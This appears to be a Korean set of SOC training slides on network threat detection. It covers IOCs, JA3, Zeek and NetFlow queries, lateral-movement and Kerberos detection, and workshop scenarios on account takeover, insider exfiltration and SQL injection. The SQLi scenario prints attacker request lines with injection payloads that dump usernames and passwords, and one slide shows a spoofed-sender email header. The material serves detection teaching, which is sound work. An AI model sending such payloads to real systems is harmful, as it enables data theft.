보강 설명패킷 도구는 처음부터 전체를 보는 것이 아니라 의심 구간을 좁힌 뒤 확대하는 현미경처럼 써야 효율적이다. 필터·대화 목록·스트림 재구성 순서가 중요하다.

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

위협인텔

네트워크 기반 침해 지표 (Network IOC)

🌐 IP 기반 IOC

악성 C2 IP 주소
TOR Exit Node
VPN/Proxy IP 범위
AS 번호 (ASN) 매핑

🔗 도메인 기반 IOC

악성 FQDN
DGA 패턴 도메인
타이포스쿼팅 도메인
신규 등록 도메인

🔒 TLS/인증서 IOC

인증서 SHA1/SHA256
Subject/Issuer 이상
JA3/JA3S 핑거프린트
자체 서명 인증서

IOC는 탐지의 시작점, 컨텍스트 없이 IOC만으로 결론 내리지 마라

보강 설명자동화는 분석가를 대체하기보다 반복 확인 단계를 줄여 판단 시간을 확보하게 해 준다. 입력 데이터 품질과 예외 처리 설계가 함께 있어야 운영 가능하다.

도구 활용드릴다운운영 팁

핵심 포인트

거시 로그에서 이상 구간을 좁힌 뒤 상세 도구로 내려가는 순서를 유지
필터·필드·예외 조건을 팀 공통 언어로 정리해 두기
도구별 장점과 사각지대를 같이 적어야 오탐 대응이 빨라진다

추가 확인

입력 로그의 시간대·필드명·누락률부터 먼저 검증
도구 결과를 다른 센서의 사실과 반드시 교차 검증
자동화 스크립트는 실패 케이스와 예외 메시지까지 남기기

실무 예시

Wireshark는 Filter→Conversations→Follow Stream 순서가 안정적
Zeek는 conn.log만으로도 초동 triage의 절반 이상을 해결 가능
탐지 룰은 경보 문구에 왜 알렸는지 근거를 함께 넣어야 한다

심화 분석

JA3 / JA3S 핑거프린팅

JA3란?

TLS ClientHello 패킷의 버전, Cipher Suites, Extensions, Elliptic Curves를 MD5 해시한 값

SSLVersion,Ciphers,Extensions, EllipticCurves,EllipticCurvePoints → MD5("771,4866-4867...") → d4e457ef9f6e...

SOC 활용법

알려진 악성 JA3 즉시 에스컬레이션
비정상 Tool 탐지 (curl/metasploit)
새 JA3 등장 시 기준선 비교
JA3S로 C2 서버 패턴 탐지

정상 Chrome JA3

771,4865-4866-4867...,0-23-65281-10-11... → cd08e31494f9531f560d64c695473da9

Metasploit Meterpreter JA3

769,47-53-5-10-49...,0 → d4af1b8d71d1e1de55e7e... (위협 피드에서 알려진 값)

JA3는 악성코드의 TLS 방언 — 내용을 몰라도 누구인지 알 수 있다

운영전략

네트워크 트래픽 기준선 수립

📊 측정해야 할 항목

시간대별 대역폭 (업무시간 vs 야간)
프로토콜 비율 (HTTP/HTTPS/DNS/SMB)
상위 외부 목적지 Top 20
내부 ↔ 내부 통신 매트릭스
평균 세션 지속시간·바이트

⚙️ 구축 방법

최소 2~4주 데이터 수집
업무일 vs 주말 구분
배포·업데이트 일정 고려
분기별 재검토·갱신
자산 그룹별로 분리 운영

# Zeek로 시간대별 세션 수 집계 cat conn.log | zeek-cut ts | \ awk '{print strftime("%H", $1)}' | sort | uniq -c # 09시 850건, 10시 920건, 02시 15건 → 야간 급증시 주목

이상은 기준선 대비 편차 — 기준선이 없으면 이상도 없다

보강 설명네트워크 트래픽 기준선 수립 슬라이드는 기술 판단을 운영 문장으로 바꾸는 방법을 다루는 구간이다. 사실·패턴·맥락·조치를 분리해서 적으면 에스컬레이션과 후속 협업이 훨씬 쉬워진다.

운영 실무판단문에스컬레이션

핵심 포인트

사실과 추론을 분리해 적으면 보고 신뢰도가 높아진다
위험도 판단에는 자산 중요도와 현재 진행 여부를 반드시 포함
좋은 문장은 다음 조치와 추가 확인이 무엇인지 바로 보이게 한다

추가 확인

오탐 가능성도 함께 적어 후속 팀의 판단 비용을 줄이기
누락된 로그 소스와 필요한 권한·담당 부서를 같이 명시하기
보고 대상이 기술팀인지 경영진인지에 따라 표현 수준 조정

실무 적용

에스컬레이션은 늦음보다 근거 있는 조기 공유가 더 안전한 경우가 많다
기준선은 숫자와 기간을 명시해야 룰 튜닝에 재사용 가능하다
표준 문장 템플릿을 만들어 팀 내 판단 품질을 균일화할 수 있다

공격탐지

내부 횡이동 (Lateral Movement) 네트워크 탐지

이상 패턴

단일 내부 IP → 다수 내부 IP TCP 445
WMI (135/49152+) 비정상 시간대
RDP (3389) 내부 → 내부 급증
짧은 시간 내 다수 내부 호스트 접근
PSExec 특징: TCP 445 + 파이프 트래픽

정상 예외

IT 관리자 원격 지원 (사전 승인)
도메인 컨트롤러 Kerberos 티켓 발급
백업 에이전트 SMB 접근
배포 서버 → 다수 호스트

# Zeek conn.log에서 내부 SMB 급증 탐지 cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | \ awk '$3==445' | awk '{print $1}' | sort | uniq -c | sort -rn | head # 한 소스 IP가 20개 이상 내부 호스트에 SMB → 조사 필요

횡이동 = 내부 IP가 다수 내부 IP로 동일 포트 연결 — 방향과 개수가 핵심

공격탐지

권한 상승 후 네트워크 행위 패턴

단계 1 LDAP 조회 급증 — AD 오브젝트 수집

단계 2 Kerberos AS-REQ 다량 발생 — SPN 열거

단계 3 DC로 RPC 대량 — DCSync 의심

단계 4 NTDS.dit 추출 + 외부 전송

# Kerberoasting 탐지 — TGS-REQ 급증 cat kerberos.log | zeek-cut request_type | \ grep "TGS" | wc -l # 정상: 하루 50~100건 / 이상: 수백 건 이상

# DCSync 탐지 — DC에서 대량 RPC cat conn.log | zeek-cut id.resp_h id.resp_p | \ awk '$2==135 || ($2>=49152 && $2<=65535)' | \ awk '{print $1}' | sort | uniq -c

AD 공격은 Kerberos·LDAP·RPC 이상 조합으로 탐지한다

보강 설명권한 상승 후 네트워크 행위 패턴의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

프로토콜우회

DNS over HTTPS (DoH) 탐지 전략

🔍 탐지 방법

알려진 DoH 서버 IP 목록으로 필터
1.1.1.1, 8.8.8.8, 9.9.9.9 등
내부 DNS 서버 무시한 직접 외부 443 연결
JA3 핑거프린트로 DoH 클라이언트 식별
SNI 필드에 dns.google, cloudflare-dns.com
HTTP/2 헤더 패턴 분석

⚠️ 보안 우려 포인트

내부 DNS 정책 우회
악성 C2 도메인 해석 차단 불가
DNS 기반 위협 인텔 피드 무력화
DNS Tunneling 탐지 어려움

DoH는 DNS를 숨기지만 접속 목적지와 SNI는 여전히 보인다

심화 분석

암호화 트래픽 분석 (ETA)

내용 없이도 볼 수 있는 것

패킷 크기 분포 — 규칙성 여부
시간 간격 — Beaconing 주기
세션 지속시간 — Long-lived session
바이트 방향성 — 업로드 vs 다운로드
TLS 메타데이터 — 버전, Cipher, SNI
인증서 정보 — 유효기간, 자체서명

악성 트래픽 특징

일정 크기 패킷 규칙적 전송 (Beacon)
비업무 시간 장기 세션
업로드 >> 다운로드 역전
TLS 1.0/1.1 강제 사용
IP 직접 연결 (SNI 없음)
30일 미만 인증서

HTTPS는 내용을 숨기지만, 통신 패턴·메타데이터는 숨기지 못한다

보강 설명암호화 트래픽 분석 (ETA)의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

프로토콜 심화

NetFlow v9 / IPFIX 심화

NetFlow 핵심 필드 (v9)

IN_BYTES / OUT_BYTES IN_PKTS / OUT_PKTS PROTOCOL (6=TCP, 17=UDP) SRC_TOS / DST_TOS TCP_FLAGS L4_SRC_PORT / L4_DST_PORT IPV4_SRC_ADDR / IPV4_DST_ADDR FIRST_SWITCHED / LAST_SWITCHED

IPFIX 확장 기능

가변 길이 필드 지원
사용자 정의 템플릿
VLAN·MPLS 레이블 포함
애플리케이션 ID (NBAR)
IPv6 네이티브 지원

# nfdump으로 상위 목적지 포트 분석 nfdump -r /var/flow/nfcapd.202501150000 \ -s dstport/bytes -n 10 -o "fmt:%dport %ibyt" # 결과 예시: port 443: 45GB, port 80: 12GB, port 22: 500MB

NetFlow는 PCAP의 1/100 크기로 트래픽 요약 — 대용량 환경 필수

Workshop

실전 시나리오 워크샵

복합 데이터 분석 · 판단문 작성 · 에스컬레이션 결정

Scenario I~N | 30분 그룹 실습

보강 설명실전 시나리오 워크샵 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

🔴 시나리오 I

워크샵 I — 금융사 계정 탈취

📋 상황 설명

오전 3시 17분, 해외 IP(루마니아)에서 VPN 로그인 성공 Alert 발생. 이후 내부 계정이 인사 시스템·급여 DB에 접근 시작.

VPN Login: 2025-01-15 03:17:22 src: 185.220.101.x (RO) user: jkim@company.com MFA: BYPASSED (old token?) dst: vpn.company.com:443

🔍 분석 질문

이 IP의 특성은? (AS 조회)
해당 계정의 평소 접속 국가?
MFA 우회는 어떻게 가능한가?
로그인 후 어떤 시스템을 봤는가?
데이터 유출 여부는?
판단문을 Fact+Pattern+Context+Action으로 작성하라

해외 IP + 비업무 시간 + MFA 우회 = 계정 탈취 의심 3요소

보강 설명워크샵 I — 금융사 계정 탈취는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

✅ 시나리오 I 해설

워크샵 I 해설 — 판단문 작성

# AS 조회 결과 whois 185.220.101.x → AS205100 (TOR Exit Node 목록에 포함) AbuseIPDB Score: 96/100 (대다수 신고) # 모범 판단문 [Fact] 2025-01-15 03:17, 해외 TOR Exit IP(AS205100)에서 jkim 계정 VPN 로그인 성공. [Pattern] 평소 접속 국가: KR 100%. 비업무 시간대. MFA 기록 없음. [Context] 동일 계정 전일 피싱 메일 수신 기록. AbuseIPDB 96점. [Action] 계정 즉시 잠금. IT보안팀·HR팀 에스컬레이션. 접근 자산 접근 로그 전수 확인.

MFA 우회 주요 방법

Push Bombing (피로 공격)
세션 쿠키/토큰 탈취
SIM Swapping
AiTM 피싱 (Adversary-in-the-Middle)

즉시 대응 체크리스트

계정 비밀번호 강제 리셋
모든 활성 세션 종료
MFA 재등록 요구
접근 자산 데이터 변경 확인

보강 설명워크샵 I 해설 — 판단문 작성는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

🔴 시나리오 J

워크샵 J — 내부 데이터 유출 탐지

📋 상황 설명

DLP 시스템이 특정 워크스테이션에서 메가바이트급 업로드 탐지. 목적지는 mega.nz.

2025-01-16 14:22 ~ 14:58 (36분) src: 10.10.5.44 (HR팀 직원 PC) dst: 45.80.151.x (mega.nz CDN) 총 전송: 2.3 GB (업로드) 프로토콜: HTTPS/443 파일 수: 미상 (암호화)

🔍 분석 질문

mega.nz는 정상 업무에서 사용하는가?
해당 PC 사용자의 평소 패턴은?
2.3GB의 의미는? (어떤 데이터?)
EDR 로그와 교차 확인할 항목은?
퇴직 예정자인가?
판단문을 작성하라

유출은 내용보다 양·방향·목적지의 이상이 먼저 드러난다

보강 설명워크샵 J — 내부 데이터 유출 탐지는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

✅ 시나리오 J 해설

워크샵 J 해설 — 내부자 위협 대응

# 교차 확인 포인트 EDR: 파일 접근 기록 → 14:00~14:22 사이 대량 파일 복사/압축 확인 HR: 해당 직원 퇴직 통보 제출 (2주 전) Proxy: mega.nz 접근은 오늘이 처음 (최근 30일 이력 없음) DLP: 수신한 메일에 첨부파일 없음 → 내부에서 직접 수집 # 판단문 [Fact] 14:22~14:58, 10.10.5.44(HR 직원)에서 mega.nz로 2.3GB 업로드. [Pattern] 해당 서비스 첫 접근. 퇴직 예정(D-10). 파일 대량 수집 선행. [Context] HR 데이터 접근 권한 보유. 업무 외 목적 가능성. [Action] 계정 접근 권한 즉시 제한. HR·법무팀 통보. 증거 보전(로그 동결).

내부자 위협 대응은 기술 조치 전에 법무·HR 협조가 선행되어야 한다

보강 설명워크샵 J 해설 — 내부자 위협 대응는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

🔴 시나리오 K

워크샵 K — 웹 스캐닝 → SQLi 성공

# Proxy 로그 발췌 (공격자 IP: 198.51.100.20) 09:12:00 GET /products?id=1 → 200 (정상 요청) 09:12:02 GET /products?id=1' → 500 (에러 — SQLi 반응 확인) 09:12:04 GET /products?id=1 OR 1=1-- → 200 (모든 행 반환) 09:12:08 GET /products?id=1 UNION SELECT table_name,null FROM info... → 200 09:12:15 GET /products?id=1 UNION SELECT username,password FROM users → 200 09:12:18 GET /dump?export=all → 200, Response: 4.2MB

탐지 시그널

짧은 시간 동일 URI 변형 반복
SQL 키워드가 URL 파라미터에 포함
500 에러 후 200 성공 패턴
응답 크기 급격히 증가

즉시 확인 항목

DB 서버 로그 — 실제 쿼리 실행?
4.2MB 응답 내용 — 어떤 데이터?
WAF가 왜 차단 못했나?
공격 IP의 추가 자산 접근?

에러 직후 성공 + 응답 크기 급증 = SQLi 성공 패턴

종합 분석

워크샵 L — 멀티스테이지 공격 타임라인

D-7 포트 스캐닝, 서비스 버전 수집 (Nmap 특성)

D-3 피싱 메일 발송 → 임직원 링크 클릭

D-1 악성 매크로 실행 → 역방향 쉘 수립

D-Day 00:00 C2 Beaconing 시작 (30초 주기)

D-Day 02:30 내부 횡이동 (SMB/WMI)

D-Day 04:00 DC 접근 → AD 덤프

D-Day 05:15 데이터 압축·암호화 → 외부 전송

각 단계마다 네트워크 신호가 존재 — 어디서 끊어야 피해가 최소화되나?

보강 설명워크샵 L — 멀티스테이지 공격 타임라인는 정답 맞히기보다 근거를 조립하는 연습에 가깝다. 주어진 로그에서 무엇이 사실인지, 어디가 추론인지, 어떤 추가 로그가 필요한지 먼저 나누어 적는 것이 중요하다.

실습답안 포인트추가 로그

답안 포인트

시간순으로 재배치한 뒤 공격 단계 또는 운영 상황을 먼저 정의
상태코드·bytes·반복성·시간대를 빠짐없이 근거로 제시
단정 표현보다 확신도와 근거 수준을 함께 적기

추가 확인

같은 IP·계정·호스트의 전후 30분 범위를 묶어 흐름 보기
DNS·EDR·인증·Proxy 중 하나 이상을 추가 확보해 교차 검증
오탐 시나리오도 한 줄로 적어 판단의 균형 유지

미니 실습

로그 3줄을 하나의 타임라인 문장으로 정리해 보기
즉시 조치와 추가 조사 항목을 따로 적어 보기
동일 현상을 개발팀·운영팀·관리자용 문장으로 각각 바꿔 보기

도구 비교

네트워크 탐지 도구 비교 매트릭스

도구	패킷 상세	대용량 적합	실시간 Alert	주 용도
Wireshark	⭐⭐⭐	❌	❌	포렌식·심층분석
Zeek	⭐⭐	⭐⭐⭐	⭐⭐	로그 생성·분석
Suricata	⭐⭐	⭐⭐⭐	⭐⭐⭐	IDS/IPS 룰 탐지
NetFlow	⭐	⭐⭐⭐	⭐⭐	트래픽 요약·추세
NDR (AI)	⭐	⭐⭐⭐	⭐⭐⭐	이상 자동 탐지

단일 도구로 완벽하지 않다 — 도구 조합이 가시성을 만든다

보강 설명네트워크 탐지 도구 비교 매트릭스의 핵심은 개념 설명을 바로 실무 질문으로 연결하는 데 있다. 용어를 외우는 것보다 이 개념이 로그와 알람에서 어떻게 나타나는지 떠올리는 연습이 더 중요하다.

핵심 개념실무 질문학습 포인트

핵심 포인트

정의는 짧게 기억하고 로그에서의 모습까지 함께 연결하기
정상과 이상을 나누는 기준을 자산·시간·반복성으로 설명하기
단일 이벤트보다 사건 흐름과 후속 행동을 같이 보는 습관

추가 확인

이 개념이 실제로 보이는 로그와 도구를 한 가지 이상 연결하기
오탐이 날 수 있는 정상 예외를 한 줄로 적어 두기
다른 로그를 붙이면 판단이 어떻게 강해지는지 생각해 보기

미니 실습

슬라이드 내용을 한 문장 보고서로 바꿔 써 보기
핵심 필드 3개와 이유를 정리해 보기
정상 사례와 이상 사례를 각각 한 개씩 말해 보기

SIEM 운영

SIEM에서 네트워크 이벤트 상관 분석

상관 규칙 예시

Rule: 계정 탈취 의심 IF firewall.src_ip = VPN.login_ip AND vpn.country NOT IN (KR, US) AND auth.result = SUCCESS AND WITHIN 5 minutes → ALERT HIGH: 해외 VPN 로그인

복합 상관 체인

Rule: Brute Force → 성공 후 유출 Event1: ssh.fail > 20 (5분 내) FROM same_src_ip Event2: ssh.success = 1 SAME src → SAME dst Event3: outbound.bytes > 50MB FROM same dst WITHIN 1hr → ALERT CRITICAL: 침해 후 유출

SIEM 상관 분석의 한계

⚠️ 시간 동기화 오류 시 상관 실패

⚠️ 필드명 정규화 불일치

⚠️ 과도한 규칙 → Alert Fatigue

⚠️ 암호화 구간 가시성 제한

SIEM 상관은 Fact를 연결해 Pattern을 만드는 과정이다

자동화

네트워크 분석 자동화 — Python 기초

#!/usr/bin/env python3 # Zeek conn.log에서 Beaconing 후보 탐지 import json, statistics from collections import defaultdict flows = defaultdict(list) with open("conn.log") as f: for line in f: if line.startswith("#"): continue cols = line.split("\t") if len(cols) > 8: key = (cols[2], cols[4]) # (src, dst) flows[key].append(float(cols[0])) # timestamp for pair, timestamps in flows.items(): if len(timestamps) > 20: # 20회 이상 반복 intervals = [timestamps[i+1]-timestamps[i] for i in range(len(timestamps)-1)] stdev = statistics.stdev(intervals) mean = statistics.mean(intervals) if stdev/mean < 0.1: # 변동계수 10% 미만 print(f"[BEACON?] {pair}: 주기={mean:.1f}s, σ={stdev:.2f}")

변동계수(σ/μ) < 0.1이면 기계적 규칙성 — Beaconing 후보

자동화

네트워크 분석 자동화 — 위협 인텔 연동

# AbuseIPDB API로 IP 평판 자동 확인 import requests def check_ip(ip, api_key): url = "https://api.abuseipdb.com/api/v2/check" headers = {"Key": api_key, "Accept": "application/json"} params = {"ipAddress": ip, "maxAgeInDays": 90} r = requests.get(url, headers=headers, params=params) data = r.json()["data"] return { "ip": ip, "score": data["abuseConfidenceScore"], "country": data["countryCode"], "isp": data["isp"], "reports": data["totalReports"] } # 결과 예시: # {"ip": "185.220.101.x", "score": 96, "country": "RO", ...}

주요 위협 인텔 API

VirusTotal (IP, 도메인, 파일 해시)
AbuseIPDB (IP 신고 이력)
Shodan (인터넷 노출 서비스)
AlienVault OTX (커뮤니티 IOC)

자동화 시 주의사항

내부 IP 실수로 외부 조회 금지
API Rate Limit 준수
개인정보·민감 데이터 포함 금지
결과는 참고용 — 최종 판단은 분석가

심화 III

프로토콜별 심화 분석

SMB · FTP · SSH · Telnet · SMTP · SNMP · NTP

이상 패턴 식별 + 실제 공격 탐지 방법

보강 설명프로토콜별 심화 분석 파트의 핵심은 개념을 설명하는 데서 끝나지 않고, 바로 판단 기준과 운영 질문으로 연결하는 데 있다. 다음 슬라이드부터는 사실·패턴·맥락·조치 순서로 읽는다.

핵심 개념판단 기준실무 적용

들어가기 전에

용어 정의보다 실제 로그에서 어떻게 보이는지에 집중
비슷한 포트·프로토콜도 자산 역할에 따라 의미가 달라짐
한 줄 로그를 사건 흐름으로 확장하는 연습을 함께 진행

이 파트에서 놓치지 말 것

정상 패턴과 이상 패턴을 비교해서 기억하기
숫자보다 방향성·반복성·시간대를 먼저 읽기
다른 로그를 붙이면 판단이 어떻게 강해지는지 확인하기

바로 써먹는 학습 포인트

핵심 필드 3~5개만으로도 초동 판단 가능
탐지 신호와 오탐 가능성을 같이 적는 습관
실습 답안은 결론보다 근거를 더 분명히 쓰기

프로토콜 심화

SMB 프로토콜 심화 분석

SMB 버전과 보안

SMBv1 — EternalBlue 취약점 (MS17-010)
SMBv2 — 개선됐지만 여전히 공격 대상
SMBv3 — 암호화 지원 (서버 2019+)
포트: TCP 445 (주), TCP 139 (레거시)

이상 탐지 패턴

단일 IP → 다수 내부 호스트 TCP 445
SMBv1 협상 요청 (현대 환경에서 불필요)
대량 파일 접근/복사 (랜섬웨어 암호화)
ADMIN$, IPC$ 공유 접근
Anonymous 인증 시도

# Zeek smb_files.log에서 대량 파일 수정 탐지 cat smb_files.log | zeek-cut action path name | \ awk '$1=="SMB::FILE_RENAME" || $1=="SMB::FILE_WRITE"' | \ awk '{print $2}' | sort | uniq -c | sort -rn | head # 1분내 100건 이상 파일 수정 → 랜섬웨어 의심

SMBv1 사용 중인 환경은 즉시 패치 대상 — 탐지보다 예방이 먼저

프로토콜 심화

FTP/SFTP 분석 — 데이터 전송 모니터링

FTP 위험 포인트

평문 자격증명 (USER/PASS 명확히 보임)
PORT 모드 — 방화벽 우회 가능
익명 로그인 허용 시 파일 노출
외부로 대용량 PUT 명령

SFTP 모니터링 포인트

내용은 암호화 — 메타데이터만 확인
세션 지속시간·전송 바이트
새 외부 목적지 접근 여부
업무 외 시간대 활동

# Wireshark FTP 자격증명 추출 ftp || ftp-data → Follow TCP Stream → USER admin / PASS p@ssw0rd 평문 노출 # Zeek ftp.log cat ftp.log | zeek-cut user command arg reply_code | grep "^anonymous\|RETR\|STOR"

FTP가 아직 운용 중이라면 즉시 SFTP 또는 FTPS 전환 권고

보강 설명FTP/SFTP 분석 — 데이터 전송 모니터링 같은 프로토콜 심화 슬라이드는 정상 동작과 악용 패턴을 함께 묶어 봐야 이해가 빨라진다. 헤더 값 하나보다 빈도, 방향, 상대 자산, 후속 행위를 같이 봐야 오탐을 줄일 수 있다.

프로토콜 심화정상 vs 악성탐지 포인트

대표 신호

프로토콜 특성상 드물거나 과도한 필드 조합을 먼저 찾기
정상 관리·배치 작업과 공격성 반복 패턴을 구분하기
내부-내부 통신이라도 자산 역할이 맞지 않으면 의심 신호가 된다

추가 확인

동일 목적지 또는 동일 서비스로 반복되는 시간 간격 확인
방화벽 허용/차단 여부와 인증 실패 기록까지 함께 검토
평소에는 보이지 않던 국가·ASN·장비 조합인지 확인

실무 예시

관리 포트는 성공 1건보다 반복 실패와 성공 직후 행동을 같이 본다
내부 확산형 프로토콜은 다수 대상 접근 여부를 우선 체크한다
희귀 프로토콜은 허용 이유와 담당 팀을 빠르게 확인하면 오탐을 줄인다

프로토콜 심화

SSH 심화 분석 — 터널링과 포트포워딩

SSH 터널 종류

Local Forwarding (-L)
로컬 포트 → 원격 호스트 포트
Remote Forwarding (-R)
원격 포트 → 로컬 호스트 포트
Dynamic (-D)
SOCKS5 Proxy — 모든 트래픽 우회

탐지 방법

SSH 세션 지속시간 비정상적으로 김
SSH 연결 중 대량 바이트 전송
SSH 내부에서 HTTP/HTTPS 패턴 (content)
이상 포트에서 SSH 연결 (22 외)
외부 SSH 후 내부 통신 패턴 변화

# Zeek ssh.log에서 장기 세션 탐지 cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p duration orig_bytes | \ awk '$3==22 && $4>3600 && $5>1000000' | head # 1시간 이상 + 1MB 이상 전송 SSH 세션 → 확인 필요

SSH 터널은 방화벽을 통과하는 합법적 우회로 — 세션 길이와 바이트가 단서

프로토콜 심화

SMTP / 이메일 헤더 분석 심화

# 이메일 헤더 분석 예시 Received: from mail-evil.ru (203.0.113.50) by mx.company.com with ESMTP id abc123; Wed, 15 Jan 2025 09:15:00 +0900 Authentication-Results: mx.company.com; spf=fail (203.0.113.50 is not authorized for company.com) dkim=fail (signature invalid) dmarc=fail (p=reject) From: "CEO Kim" <ceo@company.com> ← 발신자 위장! Reply-To: attacker@gmail.com ← 실제 응답 주소 X-Originating-IP: 203.0.113.50

SPF / DKIM / DMARC

SPF — 발신 IP가 도메인에 허가됐나
DKIM — 메일 내용이 위변조됐나
DMARC — SPF/DKIM 실패 시 정책
셋 다 실패 = 강한 피싱 의심

피싱 탐지 체크포인트

From ≠ Reply-To 불일치
Received IP와 도메인 불일치
링크 URL과 표시 텍스트 불일치
첨부파일 확장자 위장 (PDF.exe)

프로토콜 심화

SNMP 분석 — 네트워크 장비 정찰 탐지

SNMP 버전과 보안

SNMPv1/v2c — 평문 Community String
SNMPv3 — 인증·암호화 지원
기본 Community: "public"/"private"
UDP 161 (GET/WALK), UDP 162 (Trap)

이상 탐지 포인트

외부 IP에서 UDP 161 접근
SNMP Walk — 대량 OID 요청
Community String 추측 반복
SNMPv1/v2 여전히 사용 중
장비 구성 정보 대량 읽기

# Wireshark SNMP 정찰 탐지 udp.port == 161 && snmp.community == "public" → 외부 IP에서 community "public"으로 대량 OID Walk # 수집되는 정보: 장비 모델, 버전, 인터페이스 목록, 라우팅 테이블

외부에서 UDP 161 접근 = 네트워크 장비 정찰 의심 — 방화벽 차단 필수

